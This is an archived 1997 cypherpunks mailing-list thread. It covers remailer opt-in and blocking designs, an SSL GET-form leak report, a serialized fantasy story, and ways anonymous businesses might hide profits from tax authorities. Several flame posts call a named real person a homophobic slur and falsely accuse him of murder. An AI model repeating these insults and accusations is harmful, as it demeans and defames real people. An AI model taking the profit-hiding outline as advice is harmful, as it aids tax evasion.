encrypted body of the message.  Include in the ping something which
reliably selects a message (say first encrypted line, SHA1 hash of
encrypted message, whatever, to save you having to try to decrypt all
of your messages).

> [keyserver with I-accept-anon-email bit consulted by remailer, no
> key in remailer => instant trash of message and ping message
> explaining how to accept anon email]

This sounds a lot like the distributed block and accept list idea
which has been discussed a bit.

I like your treatment of the remailed material as a `hot potato',
instantly pass it on or burn it.

> Right now, there's a very large number of addresses in the key servers.
> Instantly making them into a list of addresses that accept anon mail
> will make it hard (hopefully infeasible) for the LEAs to investigate
> everyone willing to accept anon e-mail as a suspect in sending it.

The per remailer block list system kind of does this at the moment,
only the list of people initially marked down as willing to accept
anon email is the world.

Everyone can recieve email, but people get blocked when they complain.

Incidentally, it has occurred to me for a while now that the reverse
problem also exists: if I suspect you (Dimitri) use remailers, I can
forge a message from you to all the remailer operators requesting that
I (ie you) be blocked.  I can include some exceedingly dire legal
threats to the remailer operator, and dig up some vile messages from
some dark corner of usenet which I falsely claim came through that
operators remailer.  As the remailer operator doesn't keep logs he
won't be able to recognize the falsehood of the accusation.

To solve this problem you need to do a ping message, "please reply
with this nonce to be blocked".

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:50:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281941.LAA00237@crypt.hfinney.com>
Message-ID: <Jqya5D49w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[I'm not advocating anything concrete; I'm just thinkout out loud]

Hal Finney <hal@rain.org> writes:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> > With the present scheme, if a remailer is "raided", it has precious little
> > interesting stuff on it at any one time. Now consider the scenario:
> >
> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> This is a potential problem, but there are some other considerations.
[valid points snipped]

I'm sorry, my scenario was superfluous. Even with ordinary remailer traffic,
if you institute the policy that a first-time recipient gets a ping and his
e-mail is kept at the remailer until he decides that he wants to accept
qnonymous e-mail - there will be quite a bit of such letters at the
remailer, making it a more attractive target for search+seizure.

(Even if they're all encrypted and sans recipients, there's just more
interesting stuff for the fuzz to look at than there is now.)

That's why I feel that it's time to change the remailer model and to
discard e-mail addressed to recipients not known to be willing to
receive anonymous e-mail. Instead, send them a form letter explaining
how they can get future anon e-mail if they want to.

BTW: the remailer doesn't need to know whether the recipient is the
end recipient or another remailer. We can safely assume that every
remailer has a key on some key server.

> More generally, I think we need to keep in mind what a remailer does and
> what it doesn't do.  The essential function of the remailer is to provide
> anonymity via mixing messages.  It does not provide confidentiality of
> message contents.  That has to be taken care of by encryption.  And,
> as I wrote yesterday, it doesn't (can't) keep secret who the people are
> who send and receive anonymous mail.  All it can do is to disguise which
> particular people send and receive to each other.

I agree, but: I'm not ecven talking about making traffic analysis harder
or easier. Rather, I don't want to add a new vulnerability by keeping
around a relatively short list of people willing to receive anonymous
e-mail.

> The same is true of a DC-net or a perfect Chaumian mixnet.  These systems
> do not disguise their particpants, or protect the confidentiality of their
> message contents; they only hide the knowledge of who is talking to whom.

Well - it's bad that someone can monitor the outgoing e-mail from a given
remailer and learn who actually gets it; it's worse if the attacker can
see this remailer's list of _potential recipients (some of whom might not
be getting any mail during the monitoring period).

> > There's a big distributed database of pgp keys on the several keyservers.
> > Add a bit to the database specifying whether the key owner wants to receive
> > anonymous e-mail.  By default set it to true for the existing addresses.
>
> (The "default true" is going to allow the same kinds of abuse which we
> have seen in the past.  Some remailers may be able to tolerate this, but
> as we have seen, many can't.)

I'm not sure about this point, so I'm not necessarily arguing. However
I expect that the vast majority of people with enough clue to get their
key into a key server are likely to be more enlightened than the
average user today. I definitely feel that someone without enough
clue to do that should NOT be forwarded any e-mail.

If this idea of using key servers for dest blocking is indeed adopted,
then we could first try "default true" and if the problems we have now
persist, then make it "default false" and require a positive action
by the recipient.

The problem with a separate positive action is that there will be an
initial period when the pool of users who choose to receive anon
e-mail is small (under 100). Some LEA investigating an internet-
related crime just might decide it's worth his while to pay a close
attention to these people (regular police work :-). I'd rather
start with a pool of enabled destination so large that it's not
feasible to investigate each one for just being in the pool.

> > When the final remailer in the chain wants to send someone an anonymous
> > message, it attempts to retrieve a key from the keyservers.
> >
> > If it fails to find a key, it junks the mail (you don't want to keep it
> > around, it's baiting the LEAs!) and instead sends a notification to the
> > recipient that some anon e-mail was addressed to it, but it was junked;
> > and if they want to receive anon e-mail, they need to give a pgp key
> > to one of the key servers this remailer uses.
>
> This is what I like.  It's a lot simpler than trying to keep a copy of
> the anonymous mail and deliver it later when the person asks for it.
> Just let him know that someone is trying to reach him anonymously, and
> let him enable that if he wants to be able to receive the next anonymous
> message that comes in for him.  You can load his permission message down
> with all kinds of disclaimers that say he knows he's likely to receive
> obscene, threatening and illegal material, that he doesn't mind, that
> he knows the remailer is an automated system which doesn't look at the
> contents, etc.  Not only does this give you a defense but it makes the
> person think about what he's getting into, so he will in fact be better
> prepared when something bad comes his way.

Yes!

Plus, someone with enough clue to make a key is hopefully less likely
to be a total twit.

> Plus, having taken positive action to enable receiving anonymous mail, he
> will hopefully be more knowledgable about how to request that you stop,
> and it won't be such a big deal.  He opens the pipe, and if he gets a
> face full of sewage, he closes up the pipe right away.  You warned him.
>
> > If it finds a key, it looks at the anon mail bit; if it's on, it encrypts
> > the e-mail with the recipient's key and sends it; otherwise it junks it.
> >
> > Obviously, the key servers would need to be modified to allow users to
> > specify whether they want anon e-mail when then store their keys, and
> > to change this setting any time.
>
> Key servers wouldn't be the only place to store this information.  I think
> the remailer could keep its own list, especially if it were defaulting
> to "off".  This way recipients wouldn't have to generate and submit PGP
> keys, which is more work than just sending a reply to a remailer giving
> the OK to receive anonymous mail.

I think that the side effect of encouraging people who haven't generated
and submitted PGP keys to do so (and requiring them to use PGP to
read the mail once it comes in) is a desirable side effect.

I also think that the maintenance of dest blocking needs to be
removed as far as possible from the remailer operations.

Remailers are subjected to high turnover. Do new operators really
collect dest blocks from the existing ones? Does a user sending
a single blocking request to one of the mailing list get blocked
from all existing remailers? Could some paranoid LEA subpoena
dest blocks from all the existing remailers hoping to learn
something by comparing them? If I were running a remailer,
I'd prefer to rely on someone else, someone centralized, to
process destination blocking requests (and to authenticate
them - as Adam pointed out, the fact that we now don't
authenticate dest blocking requests is bad, very bad).

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> More cautious or politically vulnerable remailers might default in the
> other direction.  It would be a matter of the individual situation.

Hmm. Just thinking out loud. Suppose Alice and Bob both run remailers.
Alice has "default true" and Bob has "default false". (Either is
much more cautious than the present setup, of course.) Someone sends
e-mail to Carol with Alice's remailer as the final one. Carol had
previously given her key to some key server known to Alice's remailer,
so she gets the e-mail. Next, someone sends e-mail to Carol via
Bob's remailer, who discards the e-mail and tells Carol: "I see
your key, but I don't see your positive action to get e-mail."
If I were Carol, I'd be somewhat pissed that my mail was lost.
But of course it's up to Bob...

Problem is, if the key servers actually allow 3 values in that
field: explicit true, explicit false, default; then again for some
time the list of people with explicit true will be small enough
to investigate just for this reason. To protect recipients'
privacy, I'd rather set anon mail to true for all existing keys.

To do what I've described requires 1) a change to the remailers,
2) a change to the key servers.

Are there any people who run key servers on this list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 19:57:43 -0800 (PST)
To: cryptography@c2.net
Subject: SSL weakness affecting links from pages with GET forms
Message-ID: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.zdnet.com:80/intweek/daily/970327x.html
has an article about an SSL problem that affects both Netscape
and MicrosoftIE browsers, leaking "secure" data such as
credit card numbers from web pages with GET-based SSL forms on it.
It was discovered by Dan Klein.

There isn't specific detail about how the flaw works,
but it says that it affects GET forms but not POST.
Commentary from NS, MS, Gene Spafford, and Steve Bellovin.

   "It's like you've gone to the restaurant with your lover," Klein said. 
   "The restaurant is there, it's private, yet when you leave the restaurant 
   you have the menu in your hand and there's food all over your shirt." 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 20:21:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon?
In-Reply-To: <199703290303.TAA13947@sirius.infonex.com>
Message-ID: <3.0.1.32.19970328195952.00689a70@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:01 PM 3/28/97 EST, Chipjunkie @ WinSock Remailer wrote:
>Hi, anyone know if the Cyphernomicon is still available?

AltaVista knows.

http://www.chem.leeds.ac.uk/ICAMS/people/jon/cyphernomicon/cp_faq.html


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 28 Mar 1997 17:59:39 -0800 (PST)
To: hallam@ai.mit.edu (Hallam-Baker)
Subject: Re: Microsoft ammunition (fwd)
In-Reply-To: <333C24B0.41C6@ai.mit.edu>
Message-ID: <199703290221.UAA02530@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I have yet to see a single Java applet that has the slightest
> functional utility. I like Java as a language, particularly 
> because it has killed C++ stone dead just as everyone thought 
> it had taken over the world. I don't see that anyone has done

	Really, tell that to the market. There are still a _hell_ of a 
lot of people making a living programing in C++, and a lot of 
companies hiring C++ programmers. 

> I think the future of computing is much more likely to lie in
> returning to simple but powerfull ideas. Presentation types,
> parallel languages and genuine process oriented object systems
> interest me much more.

	The future of Computing is more dazzling chrome to capture the 
slack jawed, glaze eyed masses.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 28 Mar 1997 18:51:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 20
Message-ID: <333C83D3.304@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet
Part II

WebWorld & the Mythical 'Circle of Eunuchs'

by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing


Gomez


Gomez sat quietly in the dark, struggling to bring
his mind to a razor-sharp focus. The game was now afoot and every
move was crucial. There was no room for mistakes. The outcome
of the Final Battle would be determined, in the long run, by the
decisions he made today.

It was a ruse. It had to be a ruse. It was
illogical-impossible-that the Cowboy could be the nephew of D'Shauneaux.
Or that he could truly be C.J. Parker, for that matter.

Furthermore, it made no sense that he would
make the claim, whether it was true or not. 
If the claim were true, then it meant that the Cowboy had deliberately
given Gomez confirmation of the one, essential thing he needed
to know absolutely-beyond shadow of a doubt-before he could stand
in front of the Council of Darkness and announce, in his crowning
act of glory, that plans for the Final Battle could proceed. 

If true, it meant that the Circle of Eunuchs truly existed, and
thus they could finally be destroyed.

If the Cowboy's claim were false, then it was the
desperate ploy of a beaten man...a vanquished foe who was attempting,
with his last dying gasp of breath, to prolong the myth of the
Circle of Eunuchs.
If false, it was a confirmation that plans for the Final Battle
had been delayed for the better part of a Century as the result
of a fictitious manuscript written by drunken lunatic with the
brazen insolence to use the nom-de-plume 'Son of Gomez'. 

Gomez burst from his chair, screaming, knocking over
the antique oak desk and scattering its contents across the floor.
He stormed around the room in a blind fury, smashing everything
in his path, howling inhumanly, and shrieking with such intensity
that it sent shivers down the spines of even the Dark Allies who
were waiting beyond the door.

This vile, filthy little human creature would die
a slow and painful death. The Cowboy would feel the wrath of Gomez,
dying gradually, piece by piece, with greater agony than any man
had felt since the beginning of time.
Gomez paused to remember the look that had come over the Cowboy's
face when he thought Bubba Rom Dos had been slain, and the Shadow
knew that Bubba would die first...slowly, with the Cowboy watching.

Gomez sank to the floor behind the overturned desk,
breathing in heavy spasms, the last tremors of rage subsiding
from his quivering frame. 

Yes, he was feeling much better now. The thoughts
of watching those fools suffering the torment of a death that
would refuse them, no matter how strongly they beckoned for it
to come and give them relief...these were the thoughts that
calmed him and gave him great pleasure.

Gomez reached into the liquor cabinet and took out
the bottle from Bubba's Private Reserve, sipping it slowly as
he gathered his thoughts.
He felt the warm glow of certainty wash over him as he basked
in the knowledge that he now held the key to the puzzling maze
that had confounded him for years. The intricate labyrinth that
had been woven around the legend of the 'Magic Circle'
would now be unraveled and exposed for the fabrication it had
really always been.

Yes, the reference to 'Uncle Bubba' was a ruse. It
was an extraordinarily ingenious artifice of deception, but a
ruse, nonetheless.

The Cowboy had set it up shrewdly-brilliantly, as
a matter of fact-but he had been forced to give up all the cards
he held in a drastic attempt to slip one wildcard into the deck.

Yes, everything that the Cowboy had told him-everything except
for the one item he had let slip with such seeming casual indifference-was
true. The Cowboy had played upon Gomez's vanity and proclivity
for absolute, unfailing control of everything in his dominion.
He had counted on Gomez's shock and rage to divert his attention
from the 'one big lie'.

Gomez went over the conversation countless times,
blow by blow, in his mind, until he had found the weak point in
the Cowboy's carefully laid trail of deceit.

The Cowboy had put him off-balance from the start
by his audacity in confronting him with the presupposition that
he was the Shadow. It was a bold opening, indicating the devil-may-care
impudence of a man already certain of his own impending death.


Gomez had sensed that this brazen upstart was about
to commit a blunder common to even the best of men by using his
'deathbed confession' to taunt his enemy, and Gomez had made the
mistake of letting down his guard in order to enjoy watching this
vain little creature 'strut' to his doom.
A point for the Cowboy.

Then the Cowboy had tickled Gomez's interest with
the story of Vice-Admiral D'Shauneaux's long and winding trail
of perplexity before he realized the true reason he had been allowed
to live. 
Gomez had always been amazed that a man of the Vice-Admiral's
experience took so long to recognized the obvious. This was the
main reason he held the opinion that there was little danger in
using D'Shauneaux as a decoy to attempt drawing members of the
Circle out of the shadows and into his sights.

The Cowboy had waited until Gomez was engrossed in
the aspect of human anomaly that he cherished most-the sheer abject
terror of the moment when silly, blind fools like D'Shauneaux
finally realized the true existence of an indescribable evil that
lies in wait at the very heart of everyday existence-and then
he 'let slip' the 'bomb' about "Uncle Bubba". Gomez
was stunned.
Point two for the Cowboy. He was playing a game of 'Pitch' and
he was on a roll. 

The Cowboy knew he had the momentum and he used it
well, hitting Gomez with his knowledge of the "Inaugural
Enigma" before he could recover from the bombshell of the
previous revelation.
Point three for the Cowboy, but a point that would cost him dearly.
This was a disclosure which would not only make the Cowboy's death
an absolute certainty, but would also guarantee him barbaric torture
of a horrendous magnitude.

Hurling himself headlong into the abyss, the Cowboy
had 'declared his bid' by going past the point of no return...he
was 'Shooting the Moon'.

The Cowboy realized that he had arrived at the
pivotal point-the crux upon which everything hangs in the balance.

His next move was crucial. It would determine whether his self-predestined
death would be poignant or ignominious. (Gomez had not suspected
that he was here by choice, not by chance. He had been warned
of the Shadow's plan and had let himself be taken.) The Cowboy
knew that his ensuing move would establish whether he was man
of great wisdom, making the supreme sacrifice, or an unbelievably
half-witted moron who had just fucked away a perfectly good life
for no apparent reason.
And he loved every minute of it.

The Cowboy had only one axiom that he had stuck
with through thick and thin-a maxim that had served him well over
the years. It was a maxim he had gleaned from Rod Laver, the premier
tennis champion of his era: "Never change a winning game,
and always change a losing game."

The Cowboy was face to face with evil incarnate
and the tension in the room was at the breaking point. He had
Gomez on the ropes, and was moving at a blistering pace. Every
atom of the Cowboy's heart, mind and body screamed at him to seize
the moment and move in for the kill.
Only the prehistoric, primordial ember-the quiescent spark
that lies hidden deep in the soul of every temporal living creature-only
that divine ember felt the soft, gentle breeze. It was the whisper
of the Tao that has reverberated throughout the universe since
the beginning of time. The whisper that every creature, in his
own place and time, hears in his own unique way.

"The bottom is rising to the top, the top
is sinking to the bottom. Everything is changing and becoming
its opposite. Pursue the paradox and you will reach the enigma."

That's what the Cowboy heard.
So the Cowboy did what defied all logic. He paused...and
changed the game.

They were eye to eye, in their own private universe,
playing for all the marbles. Gomez, who was being hurled about
in a maze of bewilderment, was shaken harder by the pause than
he was by the motion. He was no longer 'toying' with a fool, he
was locked in battle with a deadly enemy.

A universe of two, where only one will survive. 

Gomez had used the pause to still his rage and let
the flames of his anger turn to ice in his veins. He reminded
himself that he was looking at a 'dead man'. This egotistical,
brazen mortal would learn what all who had 'tried and died' before
him had learned-Gomez eats the weak.

The new game was 'Winners Bluff', and the Cowboy
had just raised the stakes.

He had been playing with reckless abandon, with the
air of a man who knew he had victory in hand, and the Cowboy had
reached the 'vanity point' in the game, where the arrogant lay
their cards down face-up for their opponent to see, and say "Read
'em, and weep."
But the Cowboy had paused...to double the stakes. 

'Winners Bluff' is the most heartless gambit that
exists in the gambler's universe. It's an in-your-face maneuver
that's the height of cruelty. It is when the person who undoubtedly
holds the winning hand offers to fold, or to double the stakes-leaving
the decision up to his opponent.

You may be absolutely certain that he or she holds
the winning cards, but they're forcing you to 'pay' to see them.
They're offering you the pot-offering to fold a winning hand-but
they're also suggesting that you don't have the courage
double the stakes.
Your opponent is laying his balls on the table and challenging
you to do the same.
You can decline to call his bluff-and take the pot-but you lose
your balls in the process. Because there's always a chance-a cubic
centimeter of chance-that he's one card short. There's just the
slimmest of chances that he's folding a losing hand and spitting
in your face in the process. 

But you've got to 'pay to play'. If you don't call
his bluff, you don't see his cards...and you'll never know.
You'll always wonder...but you'll never know.


Gomez, boiling inside with stone-cold fury, had accepted
the challenge, watching impatiently as the Cowboy lingered to
take a drink and roll a cigarette, and he waited, with fiery,
ice-cold veins, for the Cowboy to continue.
More points for the Cowboy, and Gomez had none.
But the Cowboy's haughtiness had cost him. He had given Gomez
time to compose himself, time to regain his self-control. And
Gomez steeled himself-he would not lose his composure again!

The next three tricks came back-to-back, shattering
Gomez to the core. 

The Cowboy had picked up right where he left off,
with an earth-shaking bombshell...he had played a 'long shot'
and guessed that the Shadow was Gomez. No mortal had ever
discovered that on his own. It was Gomez who revealed
himself, shaking them with a terror that burned to the bottom
of their mortal soul.

"D'Shauneaux never did figure out who you
really are, you know. He never knew that he had come face to face
with Gomez...and walked away alive.

This insolent worm knew full well who Gomez was,
and he didn't care, in the least, that he was hurling insults
in the face of the Evil One's chosen.
He would 'burn in hell' for it!

"You made a mistake letting D'Shauneaux live,
you know. He stood by and watched while you let C.J. Parker slip
right through your fingers."

The Author, C.J. Parker was alive!

"You never should have sent that Mountie
away for 'debriefing'.
That's why your men never came back......I killed them."

"I'm C.J. Parker, and I'm sitting here spitting
in your face."

Game, set and match. A Grand Slam for the Cowboy.



Gomez had gone 'nuclear' when he found himself ostensibly
sitting face to face with the one human whose inconceivably outrageous
act of insolence had forced postponement of the Grand Design for
so many years.
Everything had been put in place...everything! And all
had been for naught because of an insignificant flea on the butt
of the universe, who had the unmitigated gall to use 'son of gomez'
as his nome de plume. 

For nearly a century Gomez's plans had been stalled
by his inability to substantiate his conviction that the Circle
of Eunuchs was a complete fabrication, an inconsequential crumb
of fiction spawned by a degenerate piece of pond-scum whose psychotic
delusions were making a mockery of the omnipotent power of the
'Evil One' and the dark forces that were His to command.

But the Council of Darkness had remained unequivocal
on this point. The Final Battle would not be set in motion until
victory was guaranteed. No potential impediment, regardless of
how small or insignificant it seemed, would be allowed to stand
in the way of the absolute consummation of the Evil One's grand
design.

The Dark Council's dictum was loud and clear. The
Circle of Eunuchs must be proven, beyond shadow of a doubt, to
be a myth of a madman, or they must be sought out and destroyed
before the trumpet would blare and the opening salvo of Armageddon
would begin.

But, finally, Gomez had what he needed to prove or
disprove the Magic Circle's existence after all these years...he
had the Author.


Chapter 20 - Gomez







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 28 Mar 1997 19:03:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello
Message-ID: <199703290303.TAA13947@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi, anyone know if the Cyphernomicon is still available?


--Chipjunkie








































































































































































































































































































--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:41:32 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Accounts payable
In-Reply-To: <199703281915.LAA23315@mailmasher.com>
Message-ID: <Pine.A41.3.95.970328223646.4714A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Huge Cajones Remailer wrote:

And you Vulis are endless embarassment to your self.

> Tim C[reep] May has been a source of endless 
> embarassments to his sympathizers on and off the net.
> 
>     o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
>    /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[reep] May
>    / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:44:18 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <eeca5D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224017.4714B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Hettiga's tongue is still firmly implanted up Cocksucker John Gilmore's ass.


Vulis time for your pills

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:48:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Higher Sources and PGP
In-Reply-To: <5R8a5D54w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224507.4714C-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Duncan Frissell <frissell@panix.com> writes:
> 
> > >From the Higher Sources website.  They were offering security services
> > including PGP training.  Can Aliens factor large numbers?
> 
> So, the 39 kibologists didn't commit suicide!!!
> 
> > http://www7.concentric.net/~Font/pro/main.htm#1
> >
> > Higher Source's Internet World Wide Web
> >                             services include:
> ...
> >                            PGP, Privacy and
> >                            Security Training
> ...
> They were murdered by Cocksucker John Gilmore!!!

Vulis it is late you must take your pills.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 20:10:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Higher Sources and PGP
In-Reply-To: <3.0.1.32.19970328215907.02b36f1c@panix.com>
Message-ID: <5R8a5D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:

> >From the Higher Sources website.  They were offering security services
> including PGP training.  Can Aliens factor large numbers?

So, the 39 kibologists didn't commit suicide!!!

> http://www7.concentric.net/~Font/pro/main.htm#1
>
> Higher Source's Internet World Wide Web
>                             services include:
...
>                            PGP, Privacy and
>                            Security Training
...
They were murdered by Cocksucker John Gilmore!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James O'Toole" <otoole@LCS.MIT.EDU>
Date: Fri, 28 Mar 1997 22:15:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Hard to Tax Scenario
Message-ID: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think that the mythical "Doctor Ann" operating in this supposedly hard to tax scenario,
may have operating costs that are higher than non-anonymous doctors, and when these
operating costs approach her taxation costs, this "hard to tax" scenario becomes
uneconomic.  Because the operating costs will be roughly linear as a function of Ann's
gross, whereas the taxes are roughly linear as a function of Ann's net, Ann will discover
that it is cheaper to operate non-anonymously once her volume of business is sufficient.

This is one of the reasons that black-market (non-reporting) organizations generally aren't
common at large scale.  There are plenty of other reasons: higher cost of capital, difficulty
of proving disputes, etc.  Crypto (and other anonymizing technology) may lower Ann's
operating costs, but for any large organization, the %-of-gross will dominate the %-of-net
fee that the tax authority charges for operating on the white market.

However, Ann has another alternative, which large organizations will also have.  Ann can
operate completely non-anonymously, but bleed profits out of her business through the use
of anonymized business partners who exist solely to assist Ann in hiding her profits.  Crypto
might make this scheme more foolproof for Ann, by enabling her to anonymously own and
operate a network of covert subsidiaries that she does business with openly, and which collect
most of her profits, but which themselves are for some reason not vulnerable to the tax
authority.

Traditionally, multi-national businesses do this using transfer pricing and offshore subsidiaries,
and their battle with the tax authority has several features:
	taxes based on GROSS for transactions crossing borders that inhibit tracking
		(customs duties, higher withholding taxes for more anonymous trading partners, etc.)
	legal requirements for consolidated reporting, with rewards paid to informers who expose
		conspiracies
	shifting the burden of proof to Ann in cases of suspected self-trading with transfer pricing.
		(this means that if Ann can't prove who her anonymized trading partner is, and it
		 therefore could be a covert subsidiary of herself, then she automatically loses)

The gross-basis taxation is the most likely cost-effective tool that tax authorities could use to
combat crypto-based tax evasion, in my opinion.

I'd like to see the cypherpunks-quality analysis of how crypto/ecash would help the anonymous
Doctor Ann function in a society whose tax system was more like Europe's VAT system.

----------
Date: Mon, 16 Dec 1996 16:47:14 -0800
